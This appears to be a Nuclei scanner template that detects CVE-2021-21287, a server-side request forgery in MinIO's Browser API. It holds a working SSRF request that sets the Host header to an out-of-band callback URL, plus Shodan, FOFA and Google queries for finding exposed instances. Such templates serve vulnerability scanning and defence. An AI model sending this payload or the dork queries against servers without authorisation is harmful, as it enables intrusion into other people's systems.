CVE-2021-21287: MinIO Browser API - Server-Side Request Forgery

id: CVE-2021-21287

info:
  name: MinIO Browser API - Server-Side Request Forgery
  author: pikpikcu
  severity: high
  description: MinIO Browser API before version RELEASE.2021-01-30T00-20-58Z contains a server-side request forgery vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to make arbitrary requests on behalf of the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Apply the latest security patches or updates provided by MinIO to fix this vulnerability.
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-m4qq-5f7c-693q
    - https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
    - https://github.com/minio/minio/pull/11337
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21287
    - https://github.com/minio/minio/commit/eb6871ecd960d570f70698877209e6db181bf276
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2021-21287
    cwe-id: CWE-918
    epss-score: 0.92685
    epss-percentile: 0.9974
    cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: minio
    product: minio
    shodan-query:
      - http.title:"minio browser"
      - cpe:"cpe:2.3:a:minio:minio"
      - http.title:"minio console"
    fofa-query:
      - title="minio console"
      - app="minio"
      - title="minio browser"
    google-query:
      - intitle:"minio browser"
      - intitle:"minio console"
  tags: cve,cve2021,minio,ssrf,oast

http:
  - raw:
      - |
        POST /minio/webrpc HTTP/1.1
        Host: {{interactsh-url}}
        Content-Type: application/json
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
        Content-Length: 76

        {"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http" # Confirms the HTTP Interaction

      - type: word
        words:
          - "We encountered an internal error"
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